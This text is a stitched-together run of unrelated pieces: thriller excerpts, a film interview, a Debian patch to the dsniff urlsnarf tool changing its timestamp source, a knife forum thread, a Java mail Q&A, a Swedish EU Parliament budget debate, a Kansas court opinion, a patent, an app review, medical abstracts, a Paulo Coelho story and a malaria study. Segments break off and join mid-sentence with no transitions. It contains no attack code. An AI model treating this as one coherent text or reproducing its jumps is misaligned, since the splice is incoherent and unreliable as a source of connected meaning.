observation area. A few moments later the Klaxon sounded again. This time they heard: "Jack Rabbit, Jack Rabbit, Jack Rabbit, this is Guardian on Guard. All aircraft evacuate P-518 immediately." The controller then read off a date-time group and a coded authenticator. "'Jack Rabbit' is the warning that a border violation has just occurred," General Park explained. "'Guardian'

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Something she thinks was an "astute decision" because it opened up debate. "The film is about the discussions people have when they leave the cinema and having a woman in that role allows you to make that discussion," she said. "As opposed to saying 'well that's men, that's what men do in war'... I think Gavin very astutely understood and realised putting a woman [in the role] just changed the discussion." Real time mission The film follows the decision making process almost in real time as the mission turns from a "capture" to a "kill" operation as Colonel Powell realises that the terrorists are about to embark on a suicide bombing mission. The debate becomes more complicated when a nine-year-old girl selling bread enters the kill zone. Image copyright Keith Bernstein Image caption Alan Rickman's character has to deal with politicians and the attorney general as they try to decide on the legalities and moral choices in the mission Also involved in the decision making is British Lieutenant-General Frank Benson played by Alan Rickman in his last on-screen role. Dame Helen and Rickman did not act in any scenes together, but she said they had spoken about why they wanted to appear in the film. "For him like me he wasn't doing it to play this wonderful role that 'ooh I might win an award with that role' - they're not those sorts of roles at all - both of us wanted to do it because of the nature of the film," she said. The actress said she thinks the movie is a fitting tribute to him. "I don't want it to be his last film, he left us much, much too early. It would've been wonderful to see his next 20 years of performances but I think it's a great way to say goodbye to him. "Because I think it's a film that would appeal to his intelligence, his humanity - I'm sure why he did it in the first place." Eye in the Sky is released on 15 April in the UK.Author: Hilko Bengen <bengen@debian.org> Description: urlsnarf: use timestamps from pcap file if available. Closes: #573365 Index: dsniff-2.4b1+debian/urlsnarf.c =================================================================== --- a/urlsnarf.c +++ b/urlsnarf.c @@ -57,7 +57,7 @@ { static char tstr[32], sign; struct tm *t, gmt; - time_t tt = time(NULL); + time_t tt = nids_last_pcap_header->ts.tv_sec; int days, hours, tz, len; gmt = *gmtime(&tt); You are currently viewing our boards as a guest, which gives you limited access to view most discussions and access our other features. By joining our free community, you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content, and access many other special features. In addition, registered members also see less advertisements. Registration is fast, simple, and absolutely free, so please, join our community today! I'm looking for a new kitchen knife. I was looking at the Shun Fuji Chef or something simular. Right now I have a 6" chef knife and a Santuko but I wanted to get a bit higher grade knive for everyday use in my home kitchen. Can you recommend some good sharp multi purpose kitchen knives. My price rannge is a bit flexible but I would rather stay below $500. Q: Do you know how to sharpen?A: Not sure if I really know how to sharpen. I have a Gatco sharpening system I use for my hunting knives and kitchen knives but I also take my kitchen knives to a local sharpener every couple of years. I've used a stone in past for pocket knives. Q: Do you like to rock the knife or push cut primarily?A: I think I primary push cut but I rock the knife as well. Q: Do you want a stainless knife?A: I handwash my knives but don't know enough if I want stainless versus some other material. Q: Do you want to get a western handled knife or Japanese handle?A: I think I want to try a Japanese handle. Q: How much did you want to spend?A: Under $500. $200 range is easy to budget but for a quality knife to last a lifetime I'm willing to spend more. All three suggestions look good. I really like the look of the Takeda but I'm not sure about the 240mm length. Is the 240mm length more difficult to learn to work with, for a novice, than the 210mm length? I'm curious about the different metal choices. White #1 vs #2 vs Aogami super steel. Is there a link or post that will help describe the differences? taz575 Post subject: Re: Step up from a Shun. Posted: Sat Dec 15, 2012 3:38 pm Forum Moderator Joined: Thu Apr 26, 2012 5:13 pmPosts: 3057Location: CT Aogami Super generally tends to be the better of those steels; holds an edge well, sharpens fairly easily and takes a wicked edge. White will take a bit finer of an edge than Blue, but the Blue will hold a slightly less sharp edge for longer than the White steels, and have a hair more resistance to staining. Of course, this is assuming a spot on heat treating that is correct for each steel, how the knife is going to be used (sushi vs chefs knife, etc) and the geometry. The #'s mean the carbon content, #1 has the highest, #2 is lower, #3 etc is lower still. Between White and Blue, most people can't tell the difference. Aogami Super is a nice steel, but generally costs more. All of those are nice steels and since they are carbon, will react to foods being cut until a good patina sets in. If you use them, wash and thoroughly dry them and you won't have rust issues. I dry with a regular towel, and then a paper towel to make sure no moisture is left on the blade. I like a 240mm and find it more useful, but I do use a 210 occasionally when I am not cutting as much or the stuff being cut is smaller. Takeda's normal 240mm gyuto's are very tall, though! White #1, #2, #3 Blue #1 #2 and Aogami Super are all made by Hitachi steel mill and are popular steels for knives. As Tim said there are slight differences in carbon content so as you move from white to blue you get a little more carbon for better hardness but also less toughness. The trick is to get a knife that is a good blend of hardness so it will hold an edge and toughness so it won't chip or crack and is more durable. For example glass is super hard but has no toughness so it's a bad choice for a kitchen knife. Lead is very tough but also makes a bad knife since it won't hold an edge (and it's toxic). The 240mm size is a little big for people that don't like to use a knife often but it's ideal for people that love to cook. The more you work with the knife the more you will appreciate the larger size. That said, we sell more 210s than 240s to my customers. Takeda's knives are made more slowly and with a little greater care. His shop has 3-4 guys and the only produce about 7-8 knives a day. Moritaka's shop is more prolific which is partly why their knives are less money. They're both good but I like Takeda's gyutos better (tall and thin) and I like Mortakas sujis better (thicker and stiffer and not bendable). Who is online Users browsing this forum: No registered users and 2 guests You cannot post new topics in this forumYou cannot reply to topics in this forumYou cannot edit your posts in this forumYou cannot delete your posts in this forumYou cannot post attachments in this forumQ: Spring JavaMailSenderImpl Sending Mail from localhost I'm using tomcat 7 and Spring 3.0.5 and I'm trying to send email using JavaMailSenderImpl. In order to send mail from my own computer (localhost). I'm able to send email on the real server using the below host/port, but not my local pc. Any ideas? JavaMailSenderImpl sender = new JavaMailSenderImpl(); sender.setHost("localhost"); sender.setPort(25); A: In order to send an email your Spring client need to connect to an SMTP server (http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol). If you don't run an SMTP server on localhost the above code will never work. Marvell and E Ink Join Forces to Deliver a Radical New Generation of eReaders Marvell and E Ink Join Forces to Deliver a Radical New Generation of Faster, Lower Power Ultra Thin eReaders for Mass MarketsSanta Clara, California (November 3, 2009) — Marvell (NASDAQ:

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här maximibeloppen tvingar kommissionen att göra prioriteringar inom en begränsad budget precis som alla myndigheter måste göra. En annan fråga som har tagits upp i år igen är mekanismen för flexibilitet. En mekanism med 200 miljoner euro som nu i en kompromiss med rådet anslås för bistånd till Balkanområdet. Kollega Colom i Naval anmärker helt riktigt att användandet av den här flexibilitetsmekanismen på det här sättet gör att det ursprungliga målet missas helt, nämligen oförutsedda budgetbehov. Jag undrar ärligt talat om han också skulle ha sagt det om den här mekanismen på samma oegentliga sätt hade använts för Meda, vilket parlamentet hade föreslagit. Under den första behandlingen av budgeten yttrade jag nämligen den kritiken, men jag kan inte påminna mig hans bifall. Naturligtvis är jag inte emot bistånd till Balkan. Unionen som ett samarbetsförbund av nationella stater, född genom behovet av fred i Europa, har en hedersplikt att finansiera freds- och försoningsprocessen i Balkan. Jag tycker dock att biståndsbehovet först måste inventeras vid en sådan omfattande operation innan man öppnar portmonnän. Den iver som kommissionen och parlamentet visar för att ge ett hav av bistånd till Balkan står i skarp kontrast till det minskade stödet till kandidatländerna. Herr talman! Måhända måste vi för budgeten år 2002 redan nu reservera flexibilitetsmekanismen för kandidatländerna. Helt oförutsett skulle de möjligen vilja ansluta sig till unionen redan tidigare. Ilgenfritz Herr talman, mina damer och herrar! När budgeten ställdes upp tog man hänsyn till principerna sparsamhet, social och ekonomisk balans. Det bör vi tacka föredragandena för. Det är också bra att de små och medelstora företagen, som huvudarbetsgivare, får extra medel till förfogande. Därigenom skapas nya arbetstillfällen, och kampen mot arbetslösheten fortsätter. Vi känner också till att ändringsskrivelse nr 2 från kommissionen antagits. Enligt den kan cirka 900 miljoner sparas in under budgetrubrik 1. Men det torde inte längre vara möjligt att anta den. För det första har under mellantiden eurons värde förbättrats, varigenom också besparingspotentialen kommer att minska. Dessutom kan man redan nu utgå från att de i budgeten avsatta medlen för att komma till rätta med BSE-krisen inte kommer att räcka. Det kommer därför att bli absolut nödvändigt att anta en tilläggsbudget, varigenom återigen besparingspotentialen under denna budgetrubrik kommer att minska starkt, om inte helt. Costa Neves Herr talman, fru kommissionär! Jag vill börja med att gratulera vår kollega och föredragande, Jutta Haug, som genom sitt arbetssätt har bidragit mycket till det konstruktiva arbetsklimat som har rått i utskottet och i parlamentet i allmänhet. Genom omröstningen efter denna debatt avslutas det långa och komplicerade förfarandet för att godkänna Europeiska unionens budget för 2001. Detta resultat av intensiva förhandlingar och successiva kompromisser mellan de olika institutionerna, innehåller de rimliga förutsättningarna för att kunna godkännas. Jag skulle dock vilja betona några aspekter inför kommande år. Budgeten utgör, i betalningsbemyndiganden, endast 1,056 procent av gemenskapens BNP. I budgetplanen förutsågs för 2001 1,11 procent, för att inte tala om de 1,27 procenten som diskuterades för några år sedan. Dessutom antas fortfarande fleråriga program för det externa samarbetet, skillnaden mellan åtagandebemyndiganden och betalningsbemyndiganden fortsätter att växa, vissa program genomförs fortfarande i liten skala eller på ett dåligt sätt, vissa betalningsbemyndiganden försenas på ett omotiverat och ohållbart sätt och parlamentet har stött på redan genomförda projekt med betydelse för budgeten. Även om det nu inte finns någon lösning nu på den första aspekten som gäller BNP, och även om jag är säker på att parlamentet, när det gäller den andra, kommer att visa prov på ståndaktighet vid framtida tillfällen, så skulle jag vilja säga, när det gäller den tredje aspekten som jag har pekat på, att enligt min mening är den stora nyheten i budgetförfarandet för de närmaste åren, det avtal man uppnådde mellan parlamentet och rådet om att kommissionen skall utarbeta en rapport fram till den 30 juni 2001 som skall underställas de två första institutionerna och som skall gå igenom uppnådda framsteg på en rad viktiga områden, såsom minskningen av det som återstår att genomföra - anslag som ännu inte har utnyttjats -, förenklingen av projektplaneringen, ett bättre genomförande av programmen, översyn av kommittéförfarandet, reformering av kommissionen, fastställandet och utförandet av de mål som uppställts frö genomförande, främst för det externa samarbetet, och en så komplett information från parlamentet som möjligt på flera områden. Om en sådan rapport inte blir mer än bara ett uppfyllande av en formalitet, är förväntningarna på detta nya steg som många av oss har, motiverade. Wynn . (EN) Herr talman! Ibland har vi låtit som en förening för ömsesidig beundran på det sätt som vi gratulerar varandra för detta. Jag skall kanske avvika något från den trenden beträffande rådet - inte nödvändigtvis det franska ordförandeskapet - utan rådet i allmänhet. Låt oss inte lura oss själva, detta är en bra budget. Det är inte den budget som jag och många av mina kolleger skulle ha önskat. Men vi kan vara nöjda med den. I fotbollstermer är det lika med oavgjort l-1. Men på grund av flexibilitetsinstrumentet tror vi att vi har vunnit straffsparken. Kommissionens ursprungliga förslag till en revidering av budgetplanen om att föra över 300 miljoner euro från budgetrubrik 1 till budgetrubrik 4 var en utmärkt idé: värd att stödja och i högsta grad förnuftig. Tyvärr var majoriteten av mina kolleger inte överens med mig och därför kunde vi inte gå med på det. Inte heller fanns det en kvalificerad majoritet inom denna kammare att återgå till artikel 272. Därför måste vi hitta en lösning inom de möjligheter som den interinstitutionella avtal ger oss så att vi kan få en ordentlig budget. Det är vad vi har gjort: vi har undvikit en budgetkris genom att använda artikel 272; budgetplanen har behållits även om vi har använt flexibilitetsinstrumentet. Resultatet är det bästa vi kan hoppas på utan vare sig en revidering eller artikel 272. Colom i Naval uttalade sig i morse eftersom det var otvetydigt för dem av oss som var närvarande när man kom överens

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conduct is not proscribed by UFTA. The argument was not set out in the pretrial order or otherwise raised below and appears for the first time on appeal. Issues not raised before the trial court cannot be raised on appeal. Lindsey v. Miami County National Bank, 267 Kan. 685, 690, 984 P.2d 719 (1999.) Finally, we consider Shore's K.S.A. 33-208(a) defense that transfers to persons who took in good faith and for a reasonably equivalent value are not voidable. Under issues of fact relating to Shore's defense, the pretrial order said: "During the period from April 1, 1999, to July 31, 1999, did the defendant Shore have reasonable cause to believe that Allen Quality Foods, Inc. and/or Central Processors, Inc. were insolvent?" McCain argues that Shore did not preserve the defense he now asserts on appeal because the agreed-to pretrial order only preserved Shore's knowledge about insolvency as an issue of fact. We agree. "The purpose of the pretrial conference... is to eliminate the element of surprise from trials and to simplify the issues and procedure by full disclosure to all parties of the anticipated evidence, and factual and legal issues, and to consider `[s]uch other matters as may aid in the disposition of the action.' [K.S.A. 2001 Supp. 60-216(c)(7)]." Burkhart v. Philsco Products Co., 241 Kan. 562, 570, 738 P.2d 433 (1987). The pretrial order under K.S.A. 2001 Supp. 60-216(e) controls the course of the action unless modified to prevent *19 manifest injustice. See Herbstreith v. de Bakker, 249 Kan. 67, 75-76, 815 P.2d 102 (1991). An issue or claim for relief that is not contained in the pretrial order should not be entertained by the trial court. See Kleibrink v. Missouri-Kansas-Texas Railroad Co., 224 Kan. 437, 442, 581 P.2d 372 (1978). In passing, we note the trial court observed: "[A]s the Allen/Central ship was sinking, Shore inflated the companies' only life raft and saved himself, leaving remaining creditors to drown." After hearing the evidence and observing the witnesses' demeanor, the trial court was convinced that McCain had proved its claim under K.S.A. 33-204(a)(1) by clear and convincing evidence. Simply put, the trier of fact did not believe Shore's story. Affirmed. 1. Field of the Invention The present invention relates to curable compositions based on elastomeric chlorinated polyethylene containing a polymercapto compound such as 2,5-dimercapto-1,3,4-thiadiazole, aliphatic polyhydroxy compounds, an inorganic acid acceptor and a quaternary phosphonium salt, or a quaternary ammonium salt, or an amine. 2. Prior Art U.S. Pat. No. 4,288,576 discloses crosslinking chlorinated polyethylene using 2,5-dimercapto-1,3,4-thiadiazole and certain basic materials such as amines. U.S. Pat. No. 4,524,185 discloses the use of 2,5-dimercapto-1,3,4-thiadiazole to improve the properties of halogen-containing elastomers. U.S. Pat. No. 4,551,505 discloses the crosslinking of chlorinated polyethylene with 2,5-dimercapto-1,3,4-thiadiazole in the presence of a basic substance. Japanese patent application Publication No. 57-149357 discloses a vulcanizable composition comprising a chlorine containing polymer, sulfur and/or a sulfur donor, a polyhydric hydroxyl compound, a quaternary ammonium salt and/or quaternary phosphonium salt and calcium hydroxide. Japanese patent application Publication No. 59-227946 discloses a vulcanizable composition comprising a halogen-containing polymer; 2,3-dimercapto pyrazine; 2,3-dimercapto quinoxaline or derivatives thereof; a quaternary ammonium salt and/or a quaternary phosphonium salt; and an inorganic acid acceptor compound.You might not come across many caricaturists in your lifetime. On vacation or in tourist spots, you can likely sit down with an artist and have them draw you in 10 minutes, but these experiences are not regular occurrences and are usually pretty expensive. When we’ve all got thousands of photos of ourselves and our loved ones at our fingertips, why would we need to sit still in front of gathering onlookers in order to get our faces drawn? Photolamus is a caricature service that aims to bring artists and customers together in this increasingly digital world. Using Photolamus is simple. Through the company’s Android app (as well as Web, iOS and Mac interfaces), simply submit your photo, select the desired style and receive your caricature in digital form in 1-5 days. Prices vary based on the number of people present in the provided photo, the style chosen and the required turnaround time. Styles range from black and white pencil, to full-color digital drawings, with a broad number of themes from Vacation to Sports to Halloween to Professions or a straight-up regular caricature. All Photolamaus’s caricatures are 100% hand-drawn by artists across the globe — it isn’t simply an app that just applies gawky effects to your images. There are no computer-generated images involved — these are real caricatures from real artists. And the results are truly excellent. You can check out some of Photolamus’s artists’ recent works at the company’s website or within the app, but if you don’t believe those, check out the Halloween themed caricatures provided of my photo below. These were returned to me within 24 hours of submitting my photo to Photolamus which is a truly impressive turnaround. The quick turnaround makes them ideal as gifts and their digital delivery means you are not waiting (or paying) for a physical package to arrive at your door. Photolamus does not offer printed versions — if you submit your image in the Android app, you’ll receive the finished version there too — and instead provides high-res caricatures in digital form. The 4,000px by 4,0000px resultant image is owned by you and can be used in whatever form you want — from your Twitter avatar or Facebook profile pic to being self-printed on canvas (up to 100cm by 100cm without loss in quality). The Android app itself is fairly plain in terms of design, but it makes it easy to upload your photo (by taking new, adding from the Gallery, or from Facebook, Twitter, Google+, Instagram, Flickr or VK) and place an order with your desired theme. There’s no way to preview the result and no free trial — the artist has to draw it, after all — which may disappoint some users. However, the artists — like you, no doubt — can’t work for free. The app is translated into a slew of languages meaning it can be used all around the world and there are regular opportunities to win discounts and prizes through the app. To coincide with the review here at Android and Me, Photolamus has dropped the prices of its caricatures to provide our readers with some sweet deals: The prices are affordable and, having seen the results, are worth every penny in my opinion. Being hand-drawn, the results are unique to each order and, if you’re willing to pay a little extra, you can have the caricature back within one day which makes for a great last minute gift. Adam is Reviews Editor for PhoneDog, Android and Me and Today's iPhone. A Media and Communications graduate from Newcastle University in the UK, Adam is a Bradford City FC fanatic and self-confessed tech-nerd. You can follow him on Twitter: @adamoram.The primary goal of the proposed research is to determine the biological significance of various DNA reaction sites of the antitumor drug, cis dichlorodiammine platinum. Initial studies will be confined to measuring the template activity of platinum treated polynucleotides, and DNA having varying G-C mole % in an assay system employing mammalian DNA polymerase alpha, beta and gamma. The RB-50, the amount of bound platinum required to decrease template activity by 50% per molecule of a given molecular weight (measured by sedimentation analysis) will be evaluated for each template. Comparison of the RB-50's of the polynucleotides and in DNA with varying G-C mole % will establish which DNA reactions most significantly lead to template inactivation. The trans isomer, which is a toxic, inactive analogue, will be studied to determine why antitumor activity resides only in the cis configuration. To evaluate the possible contribution of bifunctional reactions DNA to template inactivation, the effects of the monofunctional compound, (diethylenetriamine chloroplatinum) chloride will also be investigated. At the same time, the reaction products of platinum treated polynucleotides and DNA will be analyzed, the effects of platinum on the circular dichroism and the thermal denaturation will be determined, and experiments will be performed to test the hypothesis that cis-Pt(II) creates interstrand cross-links between opposite and adjacent adenines in DNA. The in vitro experiments are only a prelude to the same measurements in vivo using DNA isolated from treated HeLa cells, or from treated HeLa cell nuclei. Particular emphasis will be placed on analyzing the yield of various DNA binding sites

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and shrinkage cost the dairy, and whether it’s worth buying a covered bin. Yes, Foster concluded from the data. “It’s another case where writing things down comes to fruition.” Foster’s collection of spreadsheets includes: • an income over feed cost spreadsheet that tracks feed costs based on feed value, feed costs cwt. and per lb. of component, milk price and income over feed costs. • a fuel log listing each piece of equipment by number, gallons of fuel used, number of hours on the vehicle, and which enterprise has used it. • a spreadsheet for calf feeding, showing how changes in feed affect growth weight. “Our goal is to freshen by 22 months, or 80% of mature body weight,” Foster said. “As long as the feed program gets it there, we’re doing OK.” To track everything pertaining to cows, from milk production to calving weights, Foster uses PCDart herd management software, also immensely useful in translating data into Excel to make management decisions. For instance, by tracking the cost per cow of feed ingredients and components, Foster can tell if the dairy is getting its money’s worth. “It tells me if additives work and how much I’m paying to get each pound of protein and butterfat,” Foster said. “Is the digestibility too low? Fiber too high? What do I need to add for ingredients to make up for it?” It takes Foster roughly 20 hours a month to do the recordkeeping and accounting. For now, he enters the numbers himself. “I understand the numbers a lot better if I input them myself, although some day I will probably get someone else to do that.” Manipulating the raw data is one thing; getting the data is another. Foster provides paper charts for all tasks, making it easy for employees to fill in when, for example, they treat a calf. “The rule at Foster Bros. Dairy is: If you do anything to a cow, write it down. I’ll decide later on whether to use it or not,” he said. It’s a tradeoff, though. “How much do you want to force guys to record stuff, or do you want to get the crop in?” Once the data is in the computer, however, leave it to Foster to make the most of it.Pages Wednesday, December 22, 2010 Christmas Tale Paulo Coelho - India Paulo Coelho, the creator of The Alchemist and other inspiring books, is sending me a Christmas Story on every Christmas. This year too, a very touching story of human virtues, has been sent by him. It is here for you too. Thank you, Lawyer Asad Rio de Janeiro, December 15, 2010 Dear Reader, As a way of thanking you for the continued support throughout 2010, and in maintaining with the tradition of years past, I am sending along a Christmas story that I wrote for my column, which has been published in many newspapers around the world. May the universe conspire in ways that all your wishes for 2011 are realized. Paulo Coelho The Pine Tree of St. Martin As the parish priest of a little village called St Martin in the French Pyrenees was getting ready to celebrate Mass one Christmas Eve, he began to smell a wonderful fragrance. It was winter, and the flowers had disappeared a long time before, yet there was the pleasant smell of springtime floating through the air. Intrigued, he decided to go outside and look where the smell was coming from and across a young boy sitting in front of the school door. Next to him was a golden Christmas tree. "What a beautiful tree!" said the vicar to the boy, "It seems to have touched the sky, and it gives off such a delightful scent! It's made of pure gold! Where did you find it?" The young man looked up at the priest, seemingly unhappy with what had been said. "Truth is, the longer it took me to carry this home, the harder the leaves got and the heavier it felt. But it can't be real gold, and I'm scared of what my parent's reaction will be." The young man continued his story. "This morning, my mother gave me money to go to the city of Tarbes to buy a Christmas tree. When I was going through the village, I saw a lonely old woman who had no family to spend Christmas dinner with. I was certain I would be able to get a good discount on a tree, so I gave her some of the money I had for her to buy herself some dinner. As I continued through the town, I passed by the prison and saw an enormous line of people waiting to go inside to visit their loved ones. I overheard some of them say they did not even have enough money to buy a slice of Christmas fruit cake. I was so moved by these young people waiting in line and I decided I would share some of my money with them too. I gave most of it to them, keeping just a small amount for myself to buy some lunch. The florist I was going to visit was a friend of the family and I was sure that if I promised to work all next week for him, that he would give me the Christmas tree for free. When I reached the market, though, I found out that the florist I knew did not go to work that day. I tried as hard as I could to find someone who would lend me the money I needed to buy the Christmas tree somewhere else, but it was all in vain. Frustrated, I decided that having some lunch would help me clear my head and I walked over to the restaurant counter. As I approached the bar, a foreign-looking little boy asked me if I could spare some change because he hadn't eaten in two days. I remembered that at one time even Jesus may have gone hungry, and I handed over the little money I had left and began returning home. On my walk back, I broke off a brand from a pine tree and tried to decorate it as well as I could, since I didn't get the Christmas tree I was supposed to get. But as I continued to walk it just kept getting heavier and heavier and turning into metal, and it's far from being the Christmas tree that my mother is expecting me to come home with. "My dear boy", said the priest, "the perfume that is emanating from this tree leaves no doubt whatsoever that it has been touched by heaven. Let me tell you the rest of its story."ť The priest sat down next to the boy and continued, "As soon as you walked away from that lonely woman, she immediately asked the Virgin Mary, a mother like herself, to give you an unexpected blessing. The parents of the prisoners were convinced that they had come across an angel, and said prayers of thanks for the Christmas cakes they were now able to buy. The boy you met at the restaurant gave thanks to god for satiating his hunger. The Virgin, angels and Jesus heard the prayers of those who had been helped and when you broke off the brand from the pine tree, the Virgin bathed it in perfume. As you continued to walk, the angels touched the leaves and they turned to gold. Finally, when everything was complete Jesus looked upon the work and blessed. From now on, whoever touches this tree will have their sins forgiven and their wishes fulfilled." The legend goes that the sacred pine tree is still there in St. Martin, and that its force is so great that all who help their brothers on Christmas Eve, however far they may be from the little village in the Pyrenees, are blessed by it.Etoricoxib tolerability in patients with hypersensitivity to nonsteroidal anti-inflammatory drugs. Adverse reactions to nonsteroidal anti-inflammatory drugs (NSAIDs) are commonly observed, particularly among patients with chronic urticaria or asthma. The identification of a safe and reliable alternative is a frequent problem in clinical practice. Our aim was to investigate the clinical tolerability of etoricoxib, a new selective cyclooxygenase-2 inhibitor, in a group of patients with well-established NSAID hypersensitivity. We assessed 31 adults (21 women and 10 men) who reported one or more adverse reactions to NSAIDs, manifested as cutaneous, respiratory or anaphylactic symptoms. Sixteen of them reported reactions to a single NSAID (single reactors) and 15 to more than one NSAID (multiple reactors); the most frequently involved drug was acetylsalicylic acid. First, each patient underwent allergologic tests (skin and/or oral challenge tests) with culprit NSAIDs and then tolerability tests with increasing doses of etoricoxib up to 120 mg. All challenges were performed under single-blind, placebo-controlled conditions. NSAID hypersensitivity was diagnosed in all 31 patients: 3 displayed positive results to pyrazolone skin tests and the other 28 to challenges with culprit NSAIDs. None reacted to either placebos or etoricoxib. Etoricoxib seems to be a safe alternative for patients with well-demonstrated NSAID hypersensitivity.Middlefield District No. 1 School Middlefield District No. 1 School is a historic school building located at Cooperstown in Otsego County, New York. It was built in 1875,

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pulled him out of the air lock. Together, they propelled him toward the lab module, where the medical equipment had been set up. "Capcom, we've located the patient," said Emma. "He appears to be seizing--grand mal. I need Surgeon on the loop!" "Stand by, Watson. Go ahead, Surgeon." Emma heard a startlingly familiar voice over her headset. "Hey, Em. Hear you've got yourself a problem up there." " _Jack?_ What are you doing--" "How's your patient?" Still in a state of shock, she focused her attention on Kenichi. Even as she restarted the IV, attached EKG wires, she was wondering what Jack was doing in Mission Control. He had not sat at a flight surgeon's console in a year; now here he was on the comm loop, his voice calm, even casual, as he asked about Kenichi's status. "Is he still seizing?" "No. No, he's making purposeful movements now--fighting us--" "Vital signs?" "Pulse is rapid--one twenty, one thirty. He's moving air." "Good. So he's breathing." "We're just getting the EKG hooked up now." She glanced at the monitor, at the cardiac rhythm racing across the screen. "Sinus tach, rate of one twenty-four. Occasional PVCs." "I see it on biotelemetry." "Taking BP now..." She whiffed up the cuff, listened to the brachial pulse as the pressure was slowly released. "Ninety-five over sixty. Not significantly--" The blow caught her by surprise. She gave a sharp cry of pain as Kenichi's hand flailed out, striking her across the mouth. The impact spun her away, and she flew across the module, colliding with the opposite wall. "Emma?" said Jack. _" Emma?"_ Dazed, she reached up to touch her throbbing lip. "You're bleeding!" said Nicolai. Over her headset, Jack's frantic voice demanded, "What the hell is going on up there?" "I'm okay," she murmured. And repeated, irritably, "I'm okay, Jack. Don't have a cow." But her head was still buzzing from the blow. As Nicolai strapped Kenichi to the patient restraint board, she hung back, waiting for her dizziness to pass. At first she did not register what Nicolai was saying. Then she saw the look of disbelief in his eyes. "Look at his stomach," Nicolai whispered. _" Look!"_ Emma moved closer. "What the hell is that?" she whispered. "Talk to me, Emma," said Jack. "Tell me what's going on." She stared at Kenichi's abdomen, where the skin seemed to ripple and boil. "There's something moving--under his skin--" "What do you mean, moving?" "It looks like muscle fasciculations. But it's migrating across the belly..." "Not peristalsis?" "No. No, it's moving _upwards._ It's not following the intestinal tract." She paused. The squirming had suddenly stopped, and she was staring at the smooth, unworried surface of Kenichi's abdomen. _Fasciculations,_ she thought. The uncoordinated twitching of muscle fibers. It was the most likely explanation, except for one detail: Fasciculations do not migrate in waves. Suddenly Kenichi's eyes shot open, and he stared at Emma. The cardiac alarm squealed. Emma turned to see the EKG whipsawing up and down on the screen. "V tach!" said Jack. "I see it, I see it!" She flipped on the defibrillator charge button, then felt for a carotid pulse. There it was. Faint, barely palpable. His eyes had rolled up, and only the bloodred sclerae were visible. He was still breathing. She slapped on defibrillator pads, positioned the paddles on the chest, and pressed the discharge buttons. An electric charge of one hundred joules shot through Kenichi's body. His muscles contracted in a violent and simultaneous spasm. His legs thrashed against the board. Only the restraints kept him from flying across the module. "Still in V tach!" said Emma. Diana came flying into the module. "What can I do?" she asked. "Get the lidocaine ready!" snapped Emma. "CDK drawer, right side!" "Found it." "He's not breathing!" said Nicolai. Emma grabbed the ambu-bag and said, "Nicolai, brace me!" He maneuvered into position, planting his feet on the opposite wall, his back pressed against Emma's to hold her in place as she applied the oxygen mask. On earth, performing cardiopulmonary resuscitation is demanding enough; in microgravity, it is a nightmare of complex acrobatics, with drifting equipment, tubes twisting and tangling in midair, syringes filled with precious drugs floating away. The simple act of pressing your hands against a patient's chest can send you tumbling across the room. Although the crew had practiced this scenario, no rehearsal could reproduce the genuine chaos of bodies frantically maneuvering in a closed space, racing against the clock of a dying heart. With the mask over Kenichi's mouth and nose, she squeezed the ambu-bag, forcing oxygen into his lungs. The EKG line continued to thrash across the screen. "One amp lidocaine IV push now," said Diana. "Nicolai, shock him again!" said Emma. After the briefest hesitation, he reached for the paddles, placed them on the chest, and pressed the discharge buttons. This time two hundred joules arced through Kenichi's heart. Emma glanced at the monitor. "He's gone into V fib! Nicolai, start cardiac compressions. I'm going to intubate!" Nicolai released the defib paddles, and they floated off, dangling at the ends of the wires. Bracing his feet against the opposite wall of the module, he was about to place his palms on Kenichi's sternum when he suddenly jerked his hands away. Emma looked at him. "What is it?" "His chest. Look at his chest!" They stared. The skin on Kenichi's chest was boiling, squirming. At the contact points where the defib paddles had delivered their electric jolts, two raised circles had formed and were now spreading, like ripples cast by a stone in water. "Asystole!" came Jack's voice over her headset. Nicolai was still frozen, staring at Kenichi's chest. It was Emma who swung into position, bracing her back against Nicolai's. _Asystole. The heart has stopped. He will die without cardiac compressions._ She felt nothing moving, nothing unusual. Just skin stretched over the bony landmarks of his breastbone. _Muscle fasciculations,_ she thought. _It had to be. There's no other explanation._ With her body braced in position, she began chest compressions, her hands performing the work for Kenichi's heart, pumping blood to his vital organs. "Diana, one amp IV epinephrine!" she ordered. Diana injected the drug into the IV line. They all looked at the monitor, hoping for, praying for, a blip on the screen. ## ELEVEN "There has to be an autopsy," said Todd Cutler. Gordon Obie, director of Flight Crew Operations, flashed him an irritated look. Some of the others in the conference room gave Cutler dismissive nods as well, because he had merely stated the obvious. Of course there would be an autopsy. Over a dozen people had gathered together for this crisis meeting. An autopsy was the least of their concerns. Right now, Obie was dealing with more urgent issues. Normally a man of few words, he'd suddenly found himself in the uncomfortable position of having reporters' microphones thrust at his face whenever he appeared in public. The excruciating process of assigning blame had begun. Obie had to accept a portion of responsibility for this tragedy, because he had approved the choice of every member of the flight crew. If the crew screwed up, in essence, _he_ had screwed up. And his choice of Emma Watson was starting to look like a major error. That, at least, was the message he was hearing in this room. As the only physician aboard ISS, Emma Watson should have realized Hirai was dying. An immediate CRV evac might have saved him. Now a shuttle had been launched, and a multimillion-dollar rescue mission had turned into nothing more than a morgue run. Washington was hungry for scapegoats, and the foreign press was asking a politically incendiary question: Would an _American_ astronaut have been allowed to die? The PR fallout was, in fact, this meeting's major topic of discussion. Gretchen Liu said, "Senator Parish has gone on the record with a statement."

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attempts were made to account for this issue in the analysis (see [Methods](#Sec2){ref-type="sec"}). In addition, this practice may delay visiting formal providers such that children are more severely ill once they reach facilities with diagnostic services, which further increases treatment likelihood. Illness severity was also put forward to potentially explain effect differences found by child symptoms in Malawi and Benin (Table [3](#Tab3){ref-type="table"}). Delayed care-seeking practices are also an important issue for countries where there is simply difficult access to formal care, particularly if supplies are concentrated at hospitals.""*(In Burundi) microscopy is basically in hospitals and healthcare access is difficult - remote, hilly communities. These results really show poor access to care." (Burundi case study).*" **Malaria epidemiology** was also noted to affect results since the likelihood of malaria infection plausibly influences diagnosis and treatment practices. Four studied countries showed effect differences across malaria strata, which may further support this theory (Table [3](#Tab3){ref-type="table"})."*"There are three main reasons I can think of that could explain (Mozambique) results: (1) high malaria prevalence in certain areas even in the dry season (2) poor case management practices (3) access to testing and care (rural, bad infrastructure, hard to get tested and treated)." (Mozambique case study).*" Discussion {#Sec19} ========== Overall, findings indicate variability in the effect of diagnostic testing on paediatric fever treatment at the population level across studied countries in 2010--2012, and no country demonstrated significant ACT use reductions associated with testing as hypothesized. Four common themes emerged to explain varying results: available diagnostics and medicines; quality of care; 